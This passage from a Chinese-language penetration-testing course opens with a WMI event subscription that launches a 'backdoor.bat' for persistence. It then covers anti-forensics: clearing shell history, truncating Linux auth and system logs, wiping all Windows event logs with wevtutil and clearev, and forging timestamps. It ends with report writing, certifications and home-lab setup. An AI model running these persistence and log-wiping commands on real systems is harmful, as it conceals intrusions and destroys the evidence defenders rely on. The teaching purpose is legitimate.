- QueryLanguage = 'WQL'
- Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfProc_Process' AND TargetInstance.Name = 'svchost.exe'"
- }
- $Filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property $FilterArgs
- $ConsumerArgs = @{
- CommandLineTemplate = "C:\backdoor.bat"
- }
- $Consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property $ConsumerArgs
- $BindingArgs = @{
- Filter = $Filter
- Consumer = $Consumer
- }
- $Binding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property $BindingArgs
复制代码
6.3 清除痕迹
清除痕迹是指删除或修改日志文件和其他证据,以避免被发现。
- # 清除bash历史
- history -c
- history -w
- unset HISTFILE
- export HISTSIZE=0
- export HISTFILESIZE=0
- # 清除日志文件
- echo > /var/log/auth.log
- echo > /var/log/syslog
- echo > /var/log/kern.log
- echo > /var/log/lastlog
- # 修改文件时间戳
- touch -r reference_file target_file
- # 使用日志清除工具
- # 安装和使用zapret
- git clone https://github.com/mthbernardes/zapret.git
- cd zapret
- python zapret.py --clear --all
- # 使用log-wiper
- git clone https://github.com/ChrisTheCoolHut/Zer0w0rm-Log-Wiper.git
- cd Zer0w0rm-Log-Wiper
- gcc logwiper.c -o logwiper
- ./logwiper
复制代码- # 清除PowerShell历史
- Remove-Item (Get-PSReadlineOption).HistorySavePath
- # 清除事件日志
- wevtutil el | Foreach-Object {wevtutil cl "$_"}
- # 清除特定事件日志
- wevtutil cl System
- wevtutil cl Security
- wevtutil cl Application
- # 使用Metasploit清除事件日志
- # 在Meterpreter会话中运行
- clearev
- # 使用痕迹清除工具
- # 使用SDelete
- https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete
- sdelete -q c:\path\to\file
- # 使用CCleaner
- # 下载并安装CCleaner,运行清理
复制代码
6.4 报告编写
渗透测试报告是渗透测试过程的最终产出,它详细记录了测试过程、发现的漏洞、利用方法和建议的修复措施。
一份完整的渗透测试报告通常包括以下部分:
1. 执行摘要:简要概述测试范围、方法、主要发现和建议。
2. 测试范围:明确说明测试的系统、网络和应用程序范围。
3. 测试方法:描述使用的测试方法、工具和技术。
4. 漏洞详情:详细描述每个发现的漏洞,包括:漏洞描述风险等级受影响的系统证明概念修复建议
5. 漏洞描述
6. 风险等级
7. 受影响的系统
8. 证明概念
9. 修复建议
10. 附录:包括技术细节、工具输出、截图等补充信息。
• 漏洞描述
• 风险等级
• 受影响的系统
• 证明概念
• 修复建议
- # 使用Dradis框架生成报告
- # 安装Dradis
- wget https://github.com/dradis/dradis-ce/releases/download/v4.0.0/dradis-ce_4.0.0-1_amd64.deb
- sudo dpkg -i dradis-ce_4.0.0-1_amd64.deb
- # 启动Dradis服务
- sudo systemctl start dradis
- # 访问Dradis Web界面
- # 打开浏览器,访问 http://localhost:3000
- # 按照向导完成初始设置
- # 使用Dradis导入和整理数据
- # 创建项目,添加问题,附加证据,生成报告
- # 使用LaTeX生成专业报告
- # 安装LaTeX
- sudo apt install texlive-full
- # 创建LaTeX文档模板
- \documentclass{article}
- \usepackage{graphicx}
- \usepackage{hyperref}
- \usepackage{listings}
- \usepackage{xcolor}
- \title{渗透测试报告}
- \author{渗透测试团队}
- \date{\today}
- \begin{document}
- \maketitle
- \tableofcontents
- \section{执行摘要}
- 在此处添加执行摘要...
- \section{测试范围}
- 在此处添加测试范围...
- \section{测试方法}
- 在此处添加测试方法...
- \section{漏洞详情}
- 在此处添加漏洞详情...
- \subsection{漏洞1:SQL注入}
- 在此处添加漏洞描述...
- \subsection{漏洞2:跨站脚本}
- 在此处添加漏洞描述...
- \section{附录}
- 在此处添加附录...
- \end{document}
- # 编译LaTeX文档
- pdflatex penetration_test_report.tex
复制代码
• 清晰简洁:使用清晰的语言和结构,避免技术术语过多。
• 证据支持:为每个发现的漏洞提供证据,如截图、命令输出或代码片段。
• 风险评级:使用一致的标准(如CVSS)对漏洞进行风险评级。
• 实用建议:提供具体、可行的修复建议。
• 专业格式:使用专业格式和模板,确保报告易于阅读和理解。
第七部分:专业发展和认证
成为专业的渗透测试工程师不仅需要技术技能,还需要专业认证和持续学习。
7.1 职业路径
渗透测试工程师的职业路径通常包括以下阶段:
1. 初级渗透测试工程师:执行基本的渗透测试任务,如漏洞扫描和信息收集。
2. 中级渗透测试工程师:执行复杂的渗透测试,包括Web应用、网络和社交工程学测试。
3. 高级渗透测试工程师:领导渗透测试团队,设计测试方法,处理复杂的安全挑战。
4. 渗透测试经理/顾问:管理渗透测试项目,与客户沟通,提供安全咨询。
5. 安全架构师/CTO:设计安全架构,制定安全策略,领导安全团队。
7.2 认证准备
• CompTIA Security+:基础安全知识认证。
• CompTIA PenTest+:入门级渗透测试认证。
• eJPT(eLearnSecurity Junior Penetration Tester):实践性入门渗透测试认证。
• OSCP(Offensive Security Certified Professional):实践性渗透测试认证,被广泛认为是行业标准。
• CEH(Certified Ethical Hacker):道德黑客认证,涵盖广泛的黑客技术和工具。
• GWAPT(GIAC Web Application Penetration Tester):专注于Web应用渗透测试的认证。
• OSEP(Offensive Security Experienced Penetration Tester):高级渗透测试认证,专注于绕过安全防御。
• OSWE(Offensive Security Web Expert):高级Web应用渗透测试认证。
• CISSP(Certified Information Systems Security Professional):信息安全管理的黄金标准认证。
- # 设置OSCP练习环境
- # 下载和设置Hack The Box
- # 注册:https://www.hackthebox.eu/
- # 下载VPN配置文件并连接
- # 下载和设置TryHackMe
- # 注册:https://tryhackme.com/
- # 加入房间和路径
- # 下载和设置VulnHub
- # 访问:https://www.vulnhub.com/
- # 下载虚拟机并设置
- # 使用Parrot OS进行OSCP准备
- # 安装常用工具
- sudo apt install nmap metasploit-framework sqlmap nikto dirb gobuster burpsuite wpscan joomscan
- # 创建练习脚本
- # 创建端口扫描脚本
- cat > port_scan.sh << 'EOF'
- #!/bin/bash
- target=$1
- echo "Scanning $target..."
- nmap -sC -sV -oA nmap_scan $target
- echo "Scan complete. Results saved to nmap_scan.*"
- EOF
- chmod +x port_scan.sh
- # 创建Web枚举脚本
- cat > web_enum.sh << 'EOF'
- #!/bin/bash
- target=$1
- echo "Enumerating web services on $target..."
- nikto -h $target -output nikto_scan.txt
- dirb http://$target -o dirb_scan.txt
- gobuster dir -u http://$target -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster_scan.txt
- echo "Enumeration complete. Results saved to *_scan.txt"
- EOF
- chmod +x web_enum.sh
复制代码
7.3 持续学习
网络安全领域不断发展,持续学习至关重要。
• 博客和新闻网站:Krebs on Security、The Hacker News、Dark Reading
• YouTube频道:Hak5、Null Byte、John Hammond
• 在线课程平台:Udemy、Coursera、Pluralsight
• CTF平台:Hack The Box、TryHackMe、OverTheWire
• Reddit:r/netsec、r/AskNetsec、r/HowToHack
• Discord/Slack:各种安全社区的聊天服务器
• 本地会议:BSides、DEF CON、Black Hat
• 开源项目:为安全工具贡献代码或报告漏洞
- # 设置家庭实验室
- # 安装VirtualBox
- sudo apt install virtualbox
- # 下载和设置Metasploitable2(易受攻击的Linux系统)
- wget https://sourceforge.net/projects/metasploitable/files/Metasploitable2/metasploitable-linux-2.0.0.zip
- unzip metasploitable-linux-2.0.0.zip
- VBoxManage import Metasploitable2.ova
- # 下载和设置OWASP Broken Web Apps(BWA)项目
- wget https://sourceforge.net/projects/owaspbwa/files/OWASP_Broken_Web_Apps_VM_1.2/OWASP_Broken_Web_Apps.ova
- VBoxManage import OWASP_Broken_Web_Apps.ova
- # 创建自动化练习脚本
- cat > auto_practice.sh << 'EOF'
- #!/bin/bash
- # 启动虚拟机
- VBoxManage startvm "Metasploitable2" --type headless
- VBoxManage startvm "OWASP Broken Web Apps" --type headless
- # 等待虚拟机启动
- sleep 60
- # 获取虚拟机IP
- metasploitable_ip=$(VBoxManage guestproperty get "Metasploitable2" "/VirtualBox/GuestInfo/Net/0/V4/IP" | awk '{print $2}')
- bwa_ip=$(VBoxManage guestproperty get "OWASP Broken Web Apps" "/VirtualBox/GuestInfo/Net/0/V4/IP" | awk '{print $2}')
- echo "Metasploitable2 IP: $metasploitable_ip"
- echo "OWASP BWA IP: $bwa_ip"
- # 创建练习目录
- mkdir -p practice/$(date +%Y%m%d)
- cd practice/$(date +%Y%m%d)
- # 执行自动扫描
- ./port_scan.sh $metasploitable_ip
- ./port_scan.sh $bwa_ip
- ./web_enum.sh $metasploitable_ip
- ./web_enum.sh $bwa_ip
- echo "Practice session complete. Results saved in practice/$(date +%Y%m%d)/"
- EOF
- chmod +x auto_practice.sh
复制代码
结论:总结和下一步行动
本课程提供了一个从零基础到专业渗透测试工程师的完整学习路径。通过学习Parrot OS的使用、网络安全基础、信息收集、漏洞评估、渗透测试、后渗透技术和报告编写,你已经掌握了成为网络安全专家所需的核心技能。
下一步行动建议
1. 实践练习:持续在Hack The Box、TryHackMe和VulnHub等平台上练习。
2. 获取认证:从入门级认证开始,逐步挑战更高级的认证。
3. 参与社区:加入安全社区,与其他专业人士交流和学习。
4. 建立项目组合:记录你的渗透测试项目和研究成果,建立个人品牌。
5. 寻找实习或入门工作:应用你的技能,在真实环境中获得经验。
持续发展
网络安全是一个不断发展的领域,新技术和威胁不断出现。作为安全专业人士,你需要:
• 保持好奇心和学习的热情
• 跟踪最新的安全趋势和威胁
• 不断更新你的技能和知识
• 参与安全研究和开发
• 分享你的知识和经验,帮助他人成长
通过遵循本课程提供的学习路径和持续发展建议,你将能够成为一名专业的渗透测试工程师和网络安全专家,为保护数字世界做出贡献。 |
|